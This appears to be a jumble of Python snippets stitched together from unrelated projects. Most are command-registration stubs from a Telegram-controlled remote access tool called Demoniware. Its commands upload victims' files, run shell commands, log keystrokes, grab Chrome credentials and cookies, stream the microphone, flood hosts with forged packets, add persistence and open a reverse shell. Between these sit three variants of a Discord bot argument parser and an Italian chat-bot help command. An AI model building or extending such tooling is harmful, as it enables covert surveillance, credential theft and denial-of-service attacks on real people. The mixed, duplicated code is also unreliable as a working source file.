def setup(self): c = Command('/upload', usage='HOSTNAME /upload <file> - upload <file> to Telegram') self.add_command(c) c = Command('/mass_upload', usage='HOSTNAME /mass_upload <pattern> - upload all files matching <pattern> to Telegram') self.add_command(c)
def setup(self): c = Command('/cmd', usage='HOSTNAME /cmd <command> - execute a system command') self.add_command(c) c = Command('/process', usage='HOSTNAME /process [filter] - list system processes, optionally filtering with [filter]') self.add_command(c) c = Command('/kill', usage='HOSTNAME /kill <pid> - kill a process by PID') self.add_command(c)
def setup(self): c = Command( '/ls', usage= 'HOSTNAME /ls [pattern] - lists current directory (cwd-like), if [pattern] is specified, simulates ls behaviour' ) self.add_command(c) c = Command('/info', usage='HOSTNAME /info - displays system info') self.add_command(c)
def setup(self): self.stop = False self.frames = [] c = Command('/mic_record', usage='HOSTNAME /mic_record <seconds> - record <seconds> seconds of audio from microphone') self.add_command(c) c = Command('/mic_stream', usage='HOSTNAME /mic_stream <host> <port> - stream microphone to remote host') self.add_command(c) c = Command('/mic_stream_stop', usage='HOSTNAME /mic_stream_stop - stop microphone streaming') self.add_command(c)
def setup(self): self.current_file_name = '' self.status = 'STOPPED' c = Command('/keylogger', usage='HOSTNAME /keylogger <start/stop> - start/stop the keylogger, sending the recorded file to Telegram if stopping') self.add_command(c)
def setup(self): self.databases = [ 'Bookmarks', 'Cookies', 'History', 'Login Data', 'Preferences', 'Web Data' ] c = Command( '/chrome_enum', usage= 'HOSTNAME /chrome_enum - grab Google Chrome stored credentials') self.add_command(c) c = Command( '/chrome_data', usage='HOSTNAME /chrome_data - grab Google Chrome database files') self.add_command(c)
def setup(self): c = Command( '/screenshot', usage= 'HOSTNAME /screenshot [delay] - takes a screenshot with an option [delay], in seconds' ) self.add_command(c)
def execute_command(command: plugins.Command, message: discord.Message, *args, **kwargs): """ Execute a command and send any AttributeError exceptions. """ try: yield from command.function(client, message, *args, **kwargs) except AssertionError as e: yield from client.say(message, str(e) or command.error or utils.format_help(command)) except: yield from client.say(message, "An error occurred while executing this command. If the error persists, " "please send a PM to {}.".format(config.creator)) print_exc()
def setup(self): self.quotes = [ 'Give me my robe, put on my crown', 'I am dying, Egypt, dying', 'O happy dagger!', 'O true apothecary!', 'One that loved not wisely but too well', 'To be, or not to be', 'To sleep, perchance to dream', 'Tomorrow, and tomorrow, and tomorrow' ] c = Command( '/suicide', usage= 'HOSTNAME /suicide [delay] - commit suicide with an option [delay], in seconds' ) self.add_command(c)
async def commands(msg: Message) -> None: cmd = msg.arg.lower() if cmd in msg.conn.commands and msg.conn.commands[cmd].helpstr: # asking for a specific command message = f"<b>{cmd}</b> {msg.conn.commands[cmd].helpstr}" await msg.reply_htmlbox(message) elif cmd == "": # asking for a list of every command helpstrings = Command.get_all_helpstrings() if not helpstrings: return html = "" for key in helpstrings: html += f"<b>{key}</b> {helpstrings[key]}<br>" await msg.reply_htmlbox(html[:-4]) else: await msg.reply("Comando non trovato")
def setup(self): self.mtu_size = 1500 self.tcp_payload = os.urandom(self.mtu_size) self.udp_payload = os.urandom(self.mtu_size) self.tcp_stop = False self.udp_stop = False self.http_stop = False c = Command( '/forge_tcp', usage= 'HOSTNAME /forge_tcp <host> <port> - forge TCP packets to <host>:<port> until /forge_tcp_stop' ) self.add_command(c) c = Command('/forge_tcp_stop', usage='HOSTNAME /forge_tcp_stop - stop current TCP attack') self.add_command(c) c = Command( '/forge_udp', usage= 'HOSTNAME /forge_udp <host> <port> - forge UDP packets to <host>:<port> until /forge_udp_stop' ) self.add_command(c) c = Command('/forge_udp_stop', usage='HOSTNAME /forge_udp_stop - stop current UDP attack') self.add_command(c) c = Command( '/forge_http', usage= 'HOSTNAME /forge_http <url> - forge HTTP packets to <url> until /forge_http_stop' ) self.add_command(c) c = Command( '/forge_http_stop', usage='HOSTNAME /forge_http_stop - stop current HTTP attack') self.add_command(c)
async def parse_command_args(command: plugins.Command, cmd_args: list, message: discord.Message): """ Parse commands from chat and return args and kwargs to pass into the command's function. """ signature = inspect.signature(command.function) args, kwargs = [], {} index = -1 start_index = command.depth # The index would be the position in the group num_kwargs = sum(1 for param in signature.parameters.values() if param.kind is param.KEYWORD_ONLY) num_required_kwargs = sum( 1 for param in signature.parameters.values() if param.kind is param.KEYWORD_ONLY and param.default is param.empty) pos_param = None num_given_kwargs = 0 has_pos = any(param.kind is param.VAR_POSITIONAL for param in signature.parameters.values()) num_pos_args = 0 # Parse all arguments for param in signature.parameters.values(): index += 1 # Skip the first argument, as this is a message. if index == 0: continue # Any argument to fetch if index + 1 <= len(cmd_args): # If there is an argument passed cmd_arg = cmd_args[index] else: if param.default is not param.empty: anno = override_annotation(param.annotation) if param.kind is param.POSITIONAL_OR_KEYWORD: args.append(default_self(anno, param.default, message)) elif param.kind is param.KEYWORD_ONLY: kwargs[param.name] = default_self(anno, param.default, message) if type(command.pos_check) is not bool: index -= 1 continue # Move onwards once we find a default else: if num_pos_args == 0: index -= 1 break # We're done when there is no default argument and none passed if param.kind is param.POSITIONAL_OR_KEYWORD: # Parse the regular argument tmp_arg = await parse_annotation(param, param.default, cmd_arg, index + start_index, message) if tmp_arg is not None: args.append(tmp_arg) else: return args, kwargs, False # Force quit elif param.kind is param.KEYWORD_ONLY: # Parse a regular arg as a kwarg # We want to override the default, as this is often handled by python itself. # It also seems to break some flexibility when parsing commands with positional arguments # followed by a keyword argument with it's default being anything but None. default = param.default if type( param.default) is utils.Annotate else None tmp_arg = await parse_annotation(param, default, cmd_arg, index + start_index, message) if tmp_arg is not None: kwargs[param.name] = tmp_arg num_given_kwargs += 1 else: # It didn't work, so let's try parsing it as an optional argument if type(command.pos_check) is bool and pos_param: tmp_arg = await parse_annotation(pos_param, None, cmd_arg, index + start_index, message) if tmp_arg is not None: args.append(tmp_arg) num_pos_args += 1 continue return args, kwargs, False # Force quit elif param.kind is param.VAR_POSITIONAL: # Parse all positional arguments if num_kwargs == 0 or type(command.pos_check) is not bool: end_search = None else: end_search = -num_kwargs pos_param = param for cmd_arg in cmd_args[index:end_search]: # Do not register the positional argument if it does not meet the optional criteria if type(command.pos_check) is not bool: if not command.pos_check(cmd_arg): break tmp_arg = await parse_annotation(param, None, cmd_arg, index + start_index, message) # Add an option if it's not None. Since positional arguments are optional, # it will not matter that we don't pass it. if tmp_arg is not None: args.append(tmp_arg) num_pos_args += 1 # Update the new index index += (num_pos_args - 1) if num_pos_args else -1 # Number of required arguments are: signature variables - client and message # If there are no positional arguments, subtract one from the required arguments num_args = len(signature.parameters.items()) - 1 if not num_required_kwargs: num_args -= (num_kwargs - num_given_kwargs) if has_pos: num_args -= int(not bool(num_pos_args)) num_given = index # Arguments parsed if has_pos: num_given -= (num_pos_args - 1) if not num_pos_args == 0 else 0 complete = (num_given == num_args) # The command is incomplete if positional arguments are forced if complete and command.pos_check is True and num_pos_args == 0: complete = False # print(num_given, num_args) # print(args, kwargs) return args, kwargs, complete
def parse_command_args(command: plugins.Command, cmd_args: list, message: discord.Message): """ Parse commands from chat and return args and kwargs to pass into the command's function. """ signature = inspect.signature(command.function) args, kwargs = [], {} index = -1 start_index = command.depth # The index would be the position in the group num_kwargs = sum(1 for param in signature.parameters.values() if param.kind is param.KEYWORD_ONLY) num_required_kwargs = sum(1 for param in signature.parameters.values() if param.kind is param.KEYWORD_ONLY and param.default is param.empty) pos_param = None num_given_kwargs = 0 has_pos = any(param.kind is param.VAR_POSITIONAL for param in signature.parameters.values()) num_pos_args = 0 # Parse all arguments for param in signature.parameters.values(): index += 1 # Skip the first argument, as this is a message. if index == 0: continue # Any argument to fetch if index + 1 <= len(cmd_args): # If there is an argument passed cmd_arg = cmd_args[index] else: if param.default is not param.empty: if param.kind is param.POSITIONAL_OR_KEYWORD: args.append(default_self(param.annotation, param.default, message)) elif param.kind is param.KEYWORD_ONLY: kwargs[param.name] = default_self(param.annotation, param.default, message) if type(command.pos_check) is not bool: index -= 1 continue # Move onwards once we find a default else: if num_pos_args == 0: index -= 1 break # We're done when there is no default argument and none passed if param.kind is param.POSITIONAL_OR_KEYWORD: # Parse the regular argument tmp_arg = parse_annotation(param, param.default, cmd_arg, index + start_index, message) if tmp_arg is not None: args.append(tmp_arg) else: return args, kwargs, False # Force quit elif param.kind is param.KEYWORD_ONLY: # Parse a regular arg as a kwarg # We want to override the default, as this is often handled by python itself. # It also seems to break some flexibility when parsing commands with positional arguments # followed by a keyword argument with it's default being anything but None. default = param.default if type(param.default) is utils.Annotate else None tmp_arg = parse_annotation(param, default, cmd_arg, index + start_index, message) if tmp_arg is not None: kwargs[param.name] = tmp_arg num_given_kwargs += 1 else: # It didn't work, so let's try parsing it as an optional argument if type(command.pos_check) is bool and pos_param: tmp_arg = parse_annotation(pos_param, None, cmd_arg, index + start_index, message) if tmp_arg is not None: args.append(tmp_arg) num_pos_args += 1 continue return args, kwargs, False # Force quit elif param.kind is param.VAR_POSITIONAL: # Parse all positional arguments if num_kwargs == 0 or type(command.pos_check) is not bool: end_search = None else: end_search = -num_kwargs pos_param = param for cmd_arg in cmd_args[index:end_search]: # Do not register the positional argument if it does not meet the optional criteria if type(command.pos_check) is not bool: if not command.pos_check(cmd_arg): break tmp_arg = parse_annotation(param, None, cmd_arg, index + start_index, message) # Add an option if it's not None. Since positional arguments are optional, # it will not matter that we don't pass it. if tmp_arg is not None: args.append(tmp_arg) num_pos_args += 1 # Update the new index index += (num_pos_args - 1) if num_pos_args else -1 # Number of required arguments are: signature variables - client and message # If there are no positional arguments, subtract one from the required arguments num_args = len(signature.parameters.items()) - 1 if not num_required_kwargs: num_args -= (num_kwargs - num_given_kwargs) if has_pos: num_args -= int(not bool(num_pos_args)) num_given = index # Arguments parsed if has_pos: num_given -= (num_pos_args - 1) if not num_pos_args == 0 else 0 complete = (num_given == num_args) # The command is incomplete if positional arguments are forced if complete and command.pos_check is True and num_pos_args == 0: complete = False # print(num_given, num_args) # print(args, kwargs) return args, kwargs, complete
def setup(self): c = Command('/persistence', usage='HOSTNAME /persistence - make Demoniware persistent') self.add_command(c)
def setup(self): c = Command('/rev_shell', usage='HOSTNAME /rev_shell <host> <port> - reverse shell') self.add_command(c)
def parse_command_args(command: plugins.Command, cmd_args: list, message: discord.Message): """ Parse commands from chat and return args and kwargs to pass into the command's function. """ signature = inspect.signature(command.function) args, kwargs = [], {} index = -1 start_index = command.depth # The index would be the position in the group num_kwargs = sum(1 for param in signature.parameters.values() if param.kind is param.KEYWORD_ONLY) num_required_kwargs = sum(1 for param in signature.parameters.values() if param.kind is param.KEYWORD_ONLY and param.default is param.empty) pos_param = None num_given_kwargs = 0 has_pos = any(param.kind is param.VAR_POSITIONAL for param in signature.parameters.values()) num_pos_args = 0 # Parse all arguments for param in signature.parameters.values(): index += 1 if index == 0: # Param #1 should be the client if not param.name == "client": if param.annotation is not discord.Client: raise SyntaxError("First command parameter must be named client or be of type discord.Client") continue elif index == 1: # Param #1 should be the message if not param.name == "message": if param.annotation is not discord.Message: raise SyntaxError("Second command parameter must be named client or be of type discord.Message") continue # Any argument to fetch if index <= len(cmd_args): # If there is an argument passed cmd_arg = cmd_args[index - 1] else: if param.default is not param.empty: if param.kind is param.POSITIONAL_OR_KEYWORD: args.append(default_self(param.annotation, param.default, message)) elif param.kind is param.KEYWORD_ONLY: kwargs[param.name] = default_self(param.annotation, param.default, message) if type(command.pos_check) is not bool: index -= 1 continue # Move onwards once we find a default else: if num_pos_args == 0: index -= 1 break # We're done when there is no default argument and none passed if param.kind is param.POSITIONAL_OR_KEYWORD: # Parse the regular argument tmp_arg = parse_annotation(param, param.default, cmd_arg, (index - 1) + start_index, message) if tmp_arg is not None: args.append(tmp_arg) else: return args, kwargs, False # Force quit elif param.kind is param.KEYWORD_ONLY: # Parse a regular arg as a kwarg tmp_arg = parse_annotation(param, param.default, cmd_arg, (index - 1) + start_index, message) if tmp_arg is not None: kwargs[param.name] = tmp_arg num_given_kwargs += 1 else: # It didn't work, so let's try parsing it as an optional argument if type(command.pos_check) is bool and pos_param: tmp_arg = parse_annotation(pos_param, None, cmd_arg, index + start_index, message) if tmp_arg is not None: args.append(tmp_arg) num_pos_args += 1 continue return args, kwargs, False # Force quit elif param.kind is param.VAR_POSITIONAL: # Parse all positional arguments if num_kwargs == 0 or type(command.pos_check) is not bool: end_search = None else: end_search = -num_kwargs pos_param = param for cmd_arg in cmd_args[index - 1:end_search]: # Do not register the positional argument if it does not meet the optional criteria if type(command.pos_check) is not bool: if not command.pos_check(cmd_arg): break tmp_arg = parse_annotation(param, None, cmd_arg, index + start_index, message) # Add an option if it's not None. Since positional arguments are optional, # it will not matter that we don't pass it. if tmp_arg is not None: args.append(tmp_arg) num_pos_args += 1 # Update the new index index += (num_pos_args - 1) if num_pos_args else -1 # Number of required arguments are: signature variables - client and message # If there are no positional arguments, subtract one from the required arguments num_args = len(signature.parameters.items()) - 2 if not num_required_kwargs: num_args -= (num_kwargs - num_given_kwargs) if has_pos: num_args -= int(not bool(num_pos_args)) num_given = index - 1 # Arguments parsed if has_pos: num_given -= (num_pos_args - 1) if not num_pos_args == 0 else 0 complete = (num_given == num_args) # The command is incomplete if positional arguments are forced if complete and command.pos_check is True and num_pos_args == 0: complete = False # print(num_given, num_args) # print(args, kwargs) return args, kwargs, complete